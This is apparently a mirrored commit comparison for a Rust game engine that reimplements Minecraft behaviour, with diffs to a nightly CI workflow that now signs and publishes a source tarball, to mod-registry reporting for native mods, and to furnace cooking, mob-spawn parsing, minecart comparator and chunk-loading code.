mirror of
https://github.com/horizon-rust/horizon.git
synced 2026-11-07 11:06:11 -10:00
Compare commits
54
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9755416a02 | ||
|
|
a5fcb49900 | ||
|
|
0ca3a5be98 | ||
|
|
8993772de0 | ||
|
|
6a261a00a5 | ||
|
|
f8b83eea51 | ||
|
|
88398e8bda | ||
|
|
6d3489d30b | ||
|
|
7a84c93843 | ||
|
|
cba52f4e5d | ||
|
|
9f1fa0a0a2 | ||
|
|
fe84cc07a1 | ||
|
|
d4e42cf726 | ||
|
|
466512c90e | ||
|
|
4db071e281 | ||
|
|
2649c5e506 | ||
|
|
505de825db | ||
|
|
1f6511d0f3 | ||
|
|
1523c118d8 | ||
|
|
9239089b76 | ||
|
|
281ab9759c | ||
|
|
febad05c78 | ||
|
|
519edfac19 | ||
|
|
6561df77f6 | ||
|
|
cd7f177104 | ||
|
|
07ab7ccfc1 | ||
|
|
727f6c932a | ||
|
|
cd1f58ef72 | ||
|
|
291aae00e8 | ||
|
|
bec8cce82d | ||
|
|
0ee2425d40 | ||
|
|
7f3bd901bc | ||
|
|
d308df6167 | ||
|
|
5ded675a7d | ||
|
|
564162a0b0 | ||
|
|
8b5a27ed3f | ||
|
|
c0505424bd | ||
|
|
137045e321 | ||
|
|
28e3286e40 | ||
|
|
aef4186de4 | ||
|
|
b6c936f82b | ||
|
|
6960b65c62 | ||
|
|
5b13af2f75 | ||
|
|
557a827383 | ||
|
|
56f968e11c | ||
|
|
5e14e309bc | ||
|
|
4b4950d7c4 | ||
|
|
5096b41100 | ||
|
|
a34a41e1b5 | ||
|
|
9b6faeb8cf | ||
|
|
8cfc13fe2c | ||
|
|
a7e3bcf79f | ||
|
|
91d401aa8a | ||
|
|
0f565f4e4c |
No files matched your search
@@ -25,6 +25,9 @@ run-name: nightly build${{ inputs.request && format(' (request {0})', inputs.req
|
||||
# names the channel ("horizon release nightly"), so a nightly's signature can't pass for a release's.
|
||||
# - `publish` verifies the signature with main's horizon-release-sign, checks the smoke test, and only then moves
|
||||
# the tag. Like sign, it never executes what build produced.
|
||||
# - The source ships with the build: `pick` writes horizon-source.tar.gz with `git archive` (git objects again, nothing
|
||||
# run), `sign` signs it with the builds, and `publish` attaches it and tags the commit nightly-source/<date>-<short>
|
||||
# for good (the dated release and the build branch go after 7 days; native mods pin the commit: docs/native-mods.md).
|
||||
# gh workflow run "nightly build" # now (skips when the pick is the same commit as last night's)
|
||||
# gh workflow run "nightly build" -f force=true # build and publish even if unchanged
|
||||
# gh workflow run "nightly build" -f dry_run=true # build and sign with a throwaway key, publish nothing
|
||||
@@ -76,6 +79,7 @@ jobs:
|
||||
date: ${{ steps.pick.outputs.date }}
|
||||
version: ${{ steps.pick.outputs.version }}
|
||||
nightly: ${{ steps.pick.outputs.nightly }}
|
||||
source_tag: ${{ steps.pick.outputs.source_tag }}
|
||||
dry_run: ${{ steps.mode.outputs.dry_run }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
@@ -103,6 +107,18 @@ jobs:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
{ echo "### nightly/build-* branches"; python3 tools/ci/nightly.py prune-builds --days 7; } | tee -a "$GITHUB_STEP_SUMMARY"
|
||||
- name: The source of the build (horizon-source.tar.gz)
|
||||
if: steps.pick.outputs.build == 'true'
|
||||
env:
|
||||
SHA: ${{ steps.pick.outputs.sha }}
|
||||
run: git archive --format=tar.gz --prefix="horizon-${SHA:0:7}/" -o horizon-source.tar.gz "$SHA"
|
||||
- uses: actions/upload-artifact@v4
|
||||
if: steps.pick.outputs.build == 'true'
|
||||
with:
|
||||
name: horizon-source
|
||||
path: horizon-source.tar.gz
|
||||
if-no-files-found: error
|
||||
retention-days: 3
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nightly-notes
|
||||
@@ -144,7 +160,7 @@ jobs:
|
||||
EPHEMERAL: ${{ needs.pick.outputs.dry_run == 'true' && 'yes' || '' }}
|
||||
run: |
|
||||
bash tools/ci/sign_release.sh nightly dist/horizon-linux-x86_64.tar.gz dist/horizon-windows-x64.zip \
|
||||
dist/horizon-macos-arm64.zip dist/horizon-server-linux-x86_64.tar.gz
|
||||
dist/horizon-macos-arm64.zip dist/horizon-server-linux-x86_64.tar.gz dist/horizon-source.tar.gz
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: signature
|
||||
@@ -187,6 +203,7 @@ jobs:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
SHA: ${{ needs.pick.outputs.sha }}
|
||||
DATE: ${{ needs.pick.outputs.date }}
|
||||
SOURCE_TAG: ${{ needs.pick.outputs.source_tag }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
python3 tools/ci/nightly.py rotate
|
||||
@@ -198,7 +215,9 @@ jobs:
|
||||
"dist/horizon-windows-x64.zip#Nightly game files: Windows (horizon-windows-x64.zip)" \
|
||||
"dist/horizon-macos-arm64.zip#Nightly game files: macOS (horizon-macos-arm64.zip)" \
|
||||
"dist/horizon-server-linux-x86_64.tar.gz#Nightly dedicated server for Linux (horizon-server-linux-x86_64.tar.gz)" \
|
||||
"dist/horizon-source.tar.gz#Source of this Nightly, commit ${SHA:0:7} (horizon-source.tar.gz; kept for good as the tag $SOURCE_TAG)" \
|
||||
dist/SHA256SUMS "${signature[@]}" dist/smoke-test.json
|
||||
python3 tools/ci/nightly.py keep-source "$SHA" "$DATE"
|
||||
python3 tools/ci/nightly.py prune --days 7
|
||||
- name: Dry run, the nightly that would be published
|
||||
if: needs.pick.outputs.dry_run == 'true'
|
||||
|
||||
@@ -97,6 +97,9 @@ impl Report {
|
||||
for r in &f.requires {
|
||||
out += &format!(" needs {} {} ({})\n", r.id, r.version, &r.sha256[..12]);
|
||||
}
|
||||
if self.kind == Kind::NativeMod {
|
||||
out += " native source: unsandboxed; not executed by the registry check. Compile and test against the exact pinned Horizon and Mixins revisions before review.\n";
|
||||
}
|
||||
if self.kind == Kind::Mod && !self.code {
|
||||
out += " no code: content only, nothing to run\n";
|
||||
} else if self.kind == Kind::Mod {
|
||||
@@ -118,6 +121,7 @@ impl Report {
|
||||
pub fn kind_of(path: &Path) -> Option<Kind> {
|
||||
match path.extension()?.to_str()? {
|
||||
"hmod" => Some(Kind::Mod),
|
||||
"hnmod" => Some(Kind::NativeMod),
|
||||
"hpack" => Some(Kind::Modpack),
|
||||
"zip" => Some(Kind::ResourcePack),
|
||||
"hshader" => Some(Kind::Shader),
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
use horizon_client::{
|
||||
containers::{Furnace, FurnaceKind},
|
||||
crafting::Recipes,
|
||||
furnace::FurnaceCooking,
|
||||
item_data::{canon_stack, parse_stack},
|
||||
items::Items,
|
||||
menu::{Env, Input, Kind, Menu},
|
||||
|
||||
@@ -20,12 +20,68 @@ pub struct SpawnEntry {
|
||||
/// A `ConstantInt` count (sampling draws nothing).
|
||||
pub constant: bool,
|
||||
}
|
||||
/// A `natural_mob_spawns` / `spawn_overrides` entry list.
|
||||
pub fn parse_entries(list: &Value) -> Vec<SpawnEntry> {
|
||||
list.as_array()
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.filter_map(|e| {
|
||||
let count = &e["count"];
|
||||
let (min, max, constant) = match count {
|
||||
Value::Number(n) => {
|
||||
let n = n.as_u64().unwrap_or(1) as u32;
|
||||
(n, n, true)
|
||||
}
|
||||
c if c["type"].as_str() == Some("minecraft:constant") => {
|
||||
let n = c["value"].as_u64().unwrap_or(1) as u32;
|
||||
(n, n, true)
|
||||
}
|
||||
c => (
|
||||
c["min_inclusive"].as_u64().unwrap_or(1) as u32,
|
||||
c["max_inclusive"].as_u64().unwrap_or(1) as u32,
|
||||
false,
|
||||
),
|
||||
};
|
||||
Some(SpawnEntry {
|
||||
entity: e["type"].as_str()?.to_owned(),
|
||||
weight: e["weight"].as_u64().unwrap_or(1) as u32,
|
||||
min,
|
||||
max,
|
||||
constant,
|
||||
})
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
/// `MobSpawnSettings.MobSpawnCost`.
|
||||
#[derive(Clone, Copy, Debug, PartialEq)]
|
||||
pub struct SpawnCost {
|
||||
pub energy_budget: f64,
|
||||
pub charge: f64,
|
||||
}
|
||||
/// The `spawn_costs` of a `natural_mob_spawns` value.
|
||||
pub fn parse_costs(costs: &Value) -> HashMap<String, SpawnCost> {
|
||||
costs
|
||||
.as_object()
|
||||
.into_iter()
|
||||
.flatten()
|
||||
.map(|(k, c)| {
|
||||
(
|
||||
k.clone(),
|
||||
SpawnCost {
|
||||
energy_budget: c["energy_budget"].as_f64().unwrap_or(0.0),
|
||||
charge: c["charge"].as_f64().unwrap_or(0.0),
|
||||
},
|
||||
)
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct BiomeInfo {
|
||||
/// `natural_mob_spawns` by category (creature, monster, ...).
|
||||
pub spawns: HashMap<String, Vec<SpawnEntry>>,
|
||||
/// `natural_mob_spawns` spawn costs by entity type.
|
||||
pub spawn_costs: HashMap<String, crate::mobs::spawn_selection::SpawnCost>,
|
||||
pub spawn_costs: HashMap<String, SpawnCost>,
|
||||
/// The `gameplay/creature_world_gen_spawn_probability` attribute.
|
||||
pub creature_probability: f32,
|
||||
/// The `gameplay/increased_fire_burnout` attribute (jungles, swamps, peaks,
|
||||
@@ -150,12 +206,12 @@ impl Biomes {
|
||||
};
|
||||
let categories = &natural["spawns_by_category"];
|
||||
for (category, entries) in categories.as_object().into_iter().flatten() {
|
||||
let list = crate::mobs::spawn_selection::parse_entries(entries);
|
||||
let list = parse_entries(entries);
|
||||
spawns.insert(category.clone(), list);
|
||||
}
|
||||
list.push(BiomeInfo {
|
||||
spawns,
|
||||
spawn_costs: crate::mobs::spawn_selection::parse_costs(&natural["spawn_costs"]),
|
||||
spawn_costs: parse_costs(&natural["spawn_costs"]),
|
||||
creature_probability:
|
||||
attributes["minecraft:gameplay/creature_world_gen_spawn_probability"]
|
||||
.as_f64()
|
||||
|
||||
@@ -5,11 +5,8 @@ pub use crate::chunk::block_entity::{
|
||||
Banner, Beacon, BlockEntity, Campfire, ChiseledBookshelf, Crafter, CreakingHeart, EndGateway,
|
||||
Furnace, FurnaceKind, Jukebox, Lectern, Skull, SkullSkin,
|
||||
};
|
||||
use crate::{
|
||||
crafting::Recipes,
|
||||
items::{ItemStack, Items},
|
||||
};
|
||||
use std::{collections::HashMap, sync::Arc};
|
||||
use crate::items::ItemStack;
|
||||
use std::collections::HashMap;
|
||||
|
||||
impl FurnaceKind {
|
||||
pub fn recipe_type(self) -> &'static str {
|
||||
@@ -380,167 +377,6 @@ impl BlockEntity {
|
||||
}
|
||||
}
|
||||
pub use crate::providers::Providers;
|
||||
fn remainder(item: &str) -> Option<&'static str> {
|
||||
match item {
|
||||
"minecraft:lava_bucket" | "minecraft:water_bucket" | "minecraft:milk_bucket" => {
|
||||
Some("minecraft:bucket")
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
impl Furnace {
|
||||
/// `AbstractFurnaceBlockEntity.setItem` on the input slot: anything but
|
||||
/// the same item with the same components restarts cooking, with the
|
||||
/// total time of the new input's recipe (200 ticks without one).
|
||||
pub fn set_input(&mut self, recipes: &Recipes, stack: Option<ItemStack>) {
|
||||
let same = match (&self.items[0], &stack) {
|
||||
(Some(old), Some(new)) => old.same_item_same_components(new),
|
||||
_ => false,
|
||||
};
|
||||
self.items[0] = stack;
|
||||
if !same {
|
||||
self.cooking_total = self.items[0]
|
||||
.as_ref()
|
||||
.and_then(|input| recipes.cook(self.kind.recipe_type(), input))
|
||||
.map_or(200, |recipe| total_time(recipe.time, self.speed));
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
}
|
||||
/// `recipesUsed`, each recipe with its `experience` (0 for one this data pack does
|
||||
/// not have), in the order `getRecipesToAwardAndPopExperience` pays them.
|
||||
pub fn recipe_experience(&self, recipes: &Recipes) -> Vec<(u32, f32)> {
|
||||
self.recipes_used
|
||||
.iter()
|
||||
.map(|(id, count)| (*count, recipes.cooking_experience(id)))
|
||||
.collect()
|
||||
}
|
||||
/// A menu click wrote its slots into `items`, and `before` was the input
|
||||
/// slot until then: the menu called `setItem` on it only if it changed
|
||||
/// (`Slot.setByPlayer`; partial takes and merges keep the stack).
|
||||
pub fn input_clicked(&mut self, recipes: &Recipes, before: Option<ItemStack>) {
|
||||
if self.items[0] != before {
|
||||
let after = std::mem::replace(&mut self.items[0], before);
|
||||
self.set_input(recipes, after);
|
||||
}
|
||||
}
|
||||
/// One server tick. Returns `Some(lit)` when the LIT block state must change.
|
||||
pub fn tick(
|
||||
&mut self,
|
||||
recipes: &Recipes,
|
||||
items: &Items,
|
||||
providers: &Providers,
|
||||
) -> Option<bool> {
|
||||
let was_lit = self.lit_remaining > 0;
|
||||
let mut lit = false;
|
||||
if self.lit_remaining > 0 {
|
||||
self.lit_remaining -= 1;
|
||||
lit = self.lit_remaining > 0;
|
||||
}
|
||||
let fast = self.kind.fast();
|
||||
let has_ingredient = self.items[0].is_some();
|
||||
let has_fuel = self.items[1].is_some();
|
||||
if lit || has_fuel && has_ingredient {
|
||||
if let Some(ingredient) = self.items[0].clone() {
|
||||
if let Some(recipe) = recipes.cook(self.kind.recipe_type(), &ingredient) {
|
||||
if self.cooking_timer == 0 {
|
||||
self.cooking_total = total_time(recipe.time, self.speed);
|
||||
}
|
||||
let max = items.get(&recipe.result.item).map_or(64, |i| i.max_stack);
|
||||
let can_burn = match &self.items[2] {
|
||||
None => true,
|
||||
Some(out) => {
|
||||
out.item == recipe.result.item && out.count + recipe.result.count <= max
|
||||
}
|
||||
};
|
||||
if can_burn {
|
||||
if !lit {
|
||||
let fuel = self.items[1].clone();
|
||||
let time = fuel
|
||||
.as_ref()
|
||||
.map_or(0, |f| providers.burn_time(items, f, fast));
|
||||
let speed = fuel
|
||||
.as_ref()
|
||||
.map_or(1.0, |f| providers.speed(items, f, fast));
|
||||
self.lit_remaining = time;
|
||||
self.lit_total = time;
|
||||
self.speed = speed;
|
||||
if self.cooking_total > 0 && self.cooking_timer < self.cooking_total {
|
||||
let ratio = self.cooking_timer as f32 / self.cooking_total as f32;
|
||||
self.cooking_total = total_time(recipe.time, self.speed);
|
||||
self.cooking_timer =
|
||||
(ratio * self.cooking_total as f32).ceil() as i32;
|
||||
}
|
||||
if time > 0 {
|
||||
if let Some(f) = self.items[1].as_mut() {
|
||||
let item = f.item.clone();
|
||||
f.count -= 1;
|
||||
if f.count == 0 {
|
||||
self.items[1] = remainder(&item).map(|r| ItemStack {
|
||||
item: Arc::from(r),
|
||||
count: 1,
|
||||
damage: 0,
|
||||
extra: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
lit = true;
|
||||
}
|
||||
}
|
||||
if lit {
|
||||
self.cooking_timer += 1;
|
||||
if self.cooking_timer >= self.cooking_total {
|
||||
self.cooking_timer = 0;
|
||||
self.cooking_total = total_time(recipe.time, self.speed);
|
||||
match &mut self.items[2] {
|
||||
Some(out) => out.count += recipe.result.count,
|
||||
None => self.items[2] = Some(recipe.result.clone()),
|
||||
}
|
||||
*self
|
||||
.recipes_used
|
||||
.entry(recipe_used_key(&recipe.id))
|
||||
.or_insert(0) += 1;
|
||||
// AbstractFurnaceBlockEntity.burn: drying a wet sponge fills
|
||||
// the bucket in the fuel slot.
|
||||
if self.items[0]
|
||||
.as_ref()
|
||||
.is_some_and(|i| &*i.item == "minecraft:wet_sponge")
|
||||
&& self.items[1]
|
||||
.as_ref()
|
||||
.is_some_and(|f| &*f.item == "minecraft:bucket")
|
||||
{
|
||||
self.items[1] =
|
||||
Some(ItemStack::new("minecraft:water_bucket", 1));
|
||||
}
|
||||
if let Some(i) = self.items[0].as_mut() {
|
||||
i.count -= 1;
|
||||
if i.count == 0 {
|
||||
self.items[0] = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
} else {
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
} else if self.cooking_timer > 0 {
|
||||
self.cooking_timer = (self.cooking_timer - 2).clamp(0, self.cooking_total);
|
||||
}
|
||||
(was_lit != lit).then_some(lit)
|
||||
}
|
||||
}
|
||||
fn total_time(time: u32, speed: f32) -> i32 {
|
||||
if speed > 0.0 {
|
||||
(time as f32 / speed).ceil() as i32
|
||||
} else {
|
||||
time as i32
|
||||
}
|
||||
}
|
||||
|
||||
/// `AbstractFurnaceBlockEntity.createExperience`: `count * experience`, floored, and one
|
||||
/// more with the chance of what is left over (a level random draw only when there is some).
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
//! `AbstractFurnaceBlockEntity`'s cooking over the furnace data the chunk
|
||||
//! holds (`containers::Furnace`): it needs the recipes, so it lives above them.
|
||||
use crate::{
|
||||
containers::{Furnace, recipe_used_key},
|
||||
crafting::Recipes,
|
||||
items::{ItemStack, Items},
|
||||
providers::Providers,
|
||||
};
|
||||
use std::sync::Arc;
|
||||
|
||||
/// The furnace methods that read the recipes.
|
||||
pub trait FurnaceCooking {
|
||||
/// `AbstractFurnaceBlockEntity.setItem` on the input slot: anything but
|
||||
/// the same item with the same components restarts cooking, with the
|
||||
/// total time of the new input's recipe (200 ticks without one).
|
||||
fn set_input(&mut self, recipes: &Recipes, stack: Option<ItemStack>);
|
||||
/// `recipesUsed`, each recipe with its `experience` (0 for one this data pack does
|
||||
/// not have), in the order `getRecipesToAwardAndPopExperience` pays them.
|
||||
fn recipe_experience(&self, recipes: &Recipes) -> Vec<(u32, f32)>;
|
||||
/// A menu click wrote its slots into `items`, and `before` was the input
|
||||
/// slot until then: the menu called `setItem` on it only if it changed
|
||||
/// (`Slot.setByPlayer`; partial takes and merges keep the stack).
|
||||
fn input_clicked(&mut self, recipes: &Recipes, before: Option<ItemStack>);
|
||||
/// One server tick. Returns `Some(lit)` when the LIT block state must change.
|
||||
fn tick(&mut self, recipes: &Recipes, items: &Items, providers: &Providers) -> Option<bool>;
|
||||
}
|
||||
fn remainder(item: &str) -> Option<&'static str> {
|
||||
match item {
|
||||
"minecraft:lava_bucket" | "minecraft:water_bucket" | "minecraft:milk_bucket" => {
|
||||
Some("minecraft:bucket")
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
impl FurnaceCooking for Furnace {
|
||||
fn set_input(&mut self, recipes: &Recipes, stack: Option<ItemStack>) {
|
||||
let same = match (&self.items[0], &stack) {
|
||||
(Some(old), Some(new)) => old.same_item_same_components(new),
|
||||
_ => false,
|
||||
};
|
||||
self.items[0] = stack;
|
||||
if !same {
|
||||
self.cooking_total = self.items[0]
|
||||
.as_ref()
|
||||
.and_then(|input| recipes.cook(self.kind.recipe_type(), input))
|
||||
.map_or(200, |recipe| total_time(recipe.time, self.speed));
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
}
|
||||
fn recipe_experience(&self, recipes: &Recipes) -> Vec<(u32, f32)> {
|
||||
self.recipes_used
|
||||
.iter()
|
||||
.map(|(id, count)| (*count, recipes.cooking_experience(id)))
|
||||
.collect()
|
||||
}
|
||||
fn input_clicked(&mut self, recipes: &Recipes, before: Option<ItemStack>) {
|
||||
if self.items[0] != before {
|
||||
let after = std::mem::replace(&mut self.items[0], before);
|
||||
self.set_input(recipes, after);
|
||||
}
|
||||
}
|
||||
fn tick(&mut self, recipes: &Recipes, items: &Items, providers: &Providers) -> Option<bool> {
|
||||
let was_lit = self.lit_remaining > 0;
|
||||
let mut lit = false;
|
||||
if self.lit_remaining > 0 {
|
||||
self.lit_remaining -= 1;
|
||||
lit = self.lit_remaining > 0;
|
||||
}
|
||||
let fast = self.kind.fast();
|
||||
let has_ingredient = self.items[0].is_some();
|
||||
let has_fuel = self.items[1].is_some();
|
||||
if lit || has_fuel && has_ingredient {
|
||||
if let Some(ingredient) = self.items[0].clone() {
|
||||
if let Some(recipe) = recipes.cook(self.kind.recipe_type(), &ingredient) {
|
||||
if self.cooking_timer == 0 {
|
||||
self.cooking_total = total_time(recipe.time, self.speed);
|
||||
}
|
||||
let max = items.get(&recipe.result.item).map_or(64, |i| i.max_stack);
|
||||
let can_burn = match &self.items[2] {
|
||||
None => true,
|
||||
Some(out) => {
|
||||
out.item == recipe.result.item && out.count + recipe.result.count <= max
|
||||
}
|
||||
};
|
||||
if can_burn {
|
||||
if !lit {
|
||||
let fuel = self.items[1].clone();
|
||||
let time = fuel
|
||||
.as_ref()
|
||||
.map_or(0, |f| providers.burn_time(items, f, fast));
|
||||
let speed = fuel
|
||||
.as_ref()
|
||||
.map_or(1.0, |f| providers.speed(items, f, fast));
|
||||
self.lit_remaining = time;
|
||||
self.lit_total = time;
|
||||
self.speed = speed;
|
||||
if self.cooking_total > 0 && self.cooking_timer < self.cooking_total {
|
||||
let ratio = self.cooking_timer as f32 / self.cooking_total as f32;
|
||||
self.cooking_total = total_time(recipe.time, self.speed);
|
||||
self.cooking_timer =
|
||||
(ratio * self.cooking_total as f32).ceil() as i32;
|
||||
}
|
||||
if time > 0 {
|
||||
if let Some(f) = self.items[1].as_mut() {
|
||||
let item = f.item.clone();
|
||||
f.count -= 1;
|
||||
if f.count == 0 {
|
||||
self.items[1] = remainder(&item).map(|r| ItemStack {
|
||||
item: Arc::from(r),
|
||||
count: 1,
|
||||
damage: 0,
|
||||
extra: None,
|
||||
});
|
||||
}
|
||||
}
|
||||
lit = true;
|
||||
}
|
||||
}
|
||||
if lit {
|
||||
self.cooking_timer += 1;
|
||||
if self.cooking_timer >= self.cooking_total {
|
||||
self.cooking_timer = 0;
|
||||
self.cooking_total = total_time(recipe.time, self.speed);
|
||||
match &mut self.items[2] {
|
||||
Some(out) => out.count += recipe.result.count,
|
||||
None => self.items[2] = Some(recipe.result.clone()),
|
||||
}
|
||||
*self
|
||||
.recipes_used
|
||||
.entry(recipe_used_key(&recipe.id))
|
||||
.or_insert(0) += 1;
|
||||
// AbstractFurnaceBlockEntity.burn: drying a wet sponge fills
|
||||
// the bucket in the fuel slot.
|
||||
if self.items[0]
|
||||
.as_ref()
|
||||
.is_some_and(|i| &*i.item == "minecraft:wet_sponge")
|
||||
&& self.items[1]
|
||||
.as_ref()
|
||||
.is_some_and(|f| &*f.item == "minecraft:bucket")
|
||||
{
|
||||
self.items[1] =
|
||||
Some(ItemStack::new("minecraft:water_bucket", 1));
|
||||
}
|
||||
if let Some(i) = self.items[0].as_mut() {
|
||||
i.count -= 1;
|
||||
if i.count == 0 {
|
||||
self.items[0] = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
} else {
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
self.cooking_timer = 0;
|
||||
}
|
||||
} else if self.cooking_timer > 0 {
|
||||
self.cooking_timer = (self.cooking_timer - 2).clamp(0, self.cooking_total);
|
||||
}
|
||||
(was_lit != lit).then_some(lit)
|
||||
}
|
||||
}
|
||||
fn total_time(time: u32, speed: f32) -> i32 {
|
||||
if speed > 0.0 {
|
||||
(time as f32 / speed).ceil() as i32
|
||||
} else {
|
||||
time as i32
|
||||
}
|
||||
}
|
||||
@@ -222,6 +222,7 @@ use horizon_client::{
|
||||
entities::{Experience, ExperienceOrb, ItemEntity},
|
||||
environment::Environment,
|
||||
first_person::{Hand, SwingAnimation},
|
||||
furnace::FurnaceCooking,
|
||||
gfx::{Frame, Renderer},
|
||||
hud::{HudAtlas, HudBatch, rgba},
|
||||
hud_layout, hud_overlays,
|
||||
@@ -585,8 +586,8 @@ struct GameLevel<'w> {
|
||||
cart_boxes: Vec<([f64; 3], [f64; 3])>,
|
||||
/// The item frames a comparator reads through a conductor.
|
||||
item_frames: &'w [horizon_client::entities::ItemFrame],
|
||||
/// Each minecart's kind and comparator signal, in `cart_boxes` order.
|
||||
cart_signals: Vec<(minecarts::CartKind, i32)>,
|
||||
/// The minecarts, in `cart_boxes` order, for a detector rail's comparator.
|
||||
carts: &'w [minecarts::Minecart],
|
||||
/// Arrow and thrown trident boxes (wooden buttons).
|
||||
arrow_boxes: Vec<([f64; 3], [f64; 3])>,
|
||||
/// The other entities that keep blocks from being placed into them.
|
||||
@@ -737,24 +738,36 @@ impl GameLevel<'_> {
|
||||
Vec3::new(x + 0.8, y + 0.8, z + 0.8),
|
||||
);
|
||||
let mut container = None;
|
||||
for ((lo, hi), &(kind, signal)) in self.cart_boxes.iter().zip(&self.cart_signals) {
|
||||
let cart = Aabb::new(
|
||||
for ((lo, hi), cart) in self.cart_boxes.iter().zip(self.carts) {
|
||||
let bounds = Aabb::new(
|
||||
Vec3::new(lo[0], lo[1], lo[2]),
|
||||
Vec3::new(hi[0], hi[1], hi[2]),
|
||||
);
|
||||
if !area.intersects(cart) {
|
||||
if !area.intersects(bounds) {
|
||||
continue;
|
||||
}
|
||||
match kind {
|
||||
match cart.kind {
|
||||
minecarts::CartKind::CommandBlock => return 0,
|
||||
minecarts::CartKind::Chest | minecarts::CartKind::Hopper => {
|
||||
container = container.or(Some(signal));
|
||||
// Counted here, for the cart a comparator reads, not for
|
||||
// every cart on every block tick.
|
||||
container = container.or_else(|| Some(self.cart_signal(cart)));
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
container.unwrap_or(0)
|
||||
}
|
||||
/// A container minecart's comparator signal: its open menu's slots while
|
||||
/// someone has it open, else its own.
|
||||
fn cart_signal(&self, cart: &minecarts::Minecart) -> i32 {
|
||||
let key = (i32::MAX - 15, minecarts::CART_KEY_Y, cart.id as i32);
|
||||
let slots = match self.world.block_entities.get(&key) {
|
||||
Some(BlockEntity::Chest(open)) => open,
|
||||
_ => &cart.items,
|
||||
};
|
||||
minecarts::Minecart::container_signal(slots, self.items)
|
||||
}
|
||||
/// Every entity box that blocks building: the players who aren't
|
||||
/// spectators, the minecarts and the `Blockers` (a removed mob or a marker
|
||||
/// armor stand, whose box is empty, doesn't).
|
||||
@@ -2854,7 +2867,6 @@ impl Game<'_> {
|
||||
)
|
||||
})
|
||||
.collect();
|
||||
let cart_signals = self.cart_signals();
|
||||
let arrow_boxes = self
|
||||
.creatures
|
||||
.projectiles
|
||||
@@ -2898,7 +2910,7 @@ impl Game<'_> {
|
||||
let mut level = GameLevel {
|
||||
cart_boxes,
|
||||
item_frames: &self.item_frames,
|
||||
cart_signals,
|
||||
carts: &self.carts,
|
||||
arrow_boxes,
|
||||
blockers,
|
||||
dropped: &self.dropped,
|
||||
|
||||
@@ -9,6 +9,7 @@ use horizon_client::{
|
||||
Result,
|
||||
block_entities::{Pos, Ticking},
|
||||
containers::{BlockEntity, FurnaceKind, HOPPER_SLOTS},
|
||||
furnace::FurnaceCooking,
|
||||
};
|
||||
use horizon_core::position::BlockPos;
|
||||
use horizon_world::registry::BlockStateId;
|
||||
|
||||
@@ -227,7 +227,7 @@ impl Game<'_> {
|
||||
}
|
||||
|
||||
/// Whether the level in place has a running task, which the server pumps
|
||||
/// between its ticks (`pump_pregen`).
|
||||
/// between its ticks (`pump_chunks`).
|
||||
pub(in crate::game) fn pregen_runs_here(&self) -> bool {
|
||||
self.cmds
|
||||
.pregen
|
||||
@@ -243,11 +243,19 @@ impl Game<'_> {
|
||||
/// Keep the workers fed until `until`: collect what they finished and
|
||||
/// hand them the next jobs as soon as each one is done, rather than once
|
||||
/// a tick.
|
||||
pub(in crate::game) fn pump_pregen(&mut self, until: Instant) {
|
||||
pub(in crate::game) fn pump_chunks(&mut self, until: Instant, paused: bool) {
|
||||
// Force-loaded chunks too: decorating in vanilla's order, a chunk
|
||||
// waits for its neighbours far more often than once a tick allows.
|
||||
// And the players' chunks while they load, as vanilla's server runs
|
||||
// its chunk tasks while it waits for the next tick
|
||||
// (`MinecraftServer.waitUntilNextTick`): once a tick, a few jobs per
|
||||
// worker (`schedule_generation`) capped joining a world at about 120
|
||||
// columns a second with two workers, the workers idle most of the
|
||||
// time. Not while a respawn search waits for a chunk: its area is
|
||||
// only asked for by the tick's own `update_world`.
|
||||
let players = !paused && self.spawn_wait.is_empty();
|
||||
while self.pregen_runs_here()
|
||||
|| (!self.streaming.forced.is_empty() && self.streaming.busy())
|
||||
|| ((players || !self.streaming.forced.is_empty()) && self.streaming.busy())
|
||||
{
|
||||
let now = Instant::now();
|
||||
if now >= until {
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
use super::{Game, lan::LanHost};
|
||||
use horizon_client::{
|
||||
containers::BlockEntity,
|
||||
furnace::FurnaceCooking,
|
||||
items::ItemStack,
|
||||
lan::{guest::Guest, menu::Slots},
|
||||
menu::{Env, Input, Kind, Menu},
|
||||
|
||||
@@ -408,9 +408,9 @@ impl Game<'_> {
|
||||
}
|
||||
*next += self.clock.tick_duration();
|
||||
if *next > now {
|
||||
// A `/pregen` task or force-loaded chunks keep the workers fed
|
||||
// until the next tick.
|
||||
self.pump_pregen(*next);
|
||||
// The chunks loading (the players', force-loaded ones, a
|
||||
// `/pregen` task) keep the workers fed until the next tick.
|
||||
self.pump_chunks(*next, paused);
|
||||
let now = Instant::now();
|
||||
if *next > now {
|
||||
std::thread::sleep(*next - now);
|
||||
|
||||
@@ -202,7 +202,7 @@ impl Minecart {
|
||||
self.velocity.x.hypot(self.velocity.z)
|
||||
}
|
||||
/// `AbstractContainerMenu.getRedstoneSignalFromContainer` of `slots`.
|
||||
fn container_signal(slots: &[Option<ItemStack>], items: &Items) -> i32 {
|
||||
pub(super) fn container_signal(slots: &[Option<ItemStack>], items: &Items) -> i32 {
|
||||
let mut total = 0.0f32;
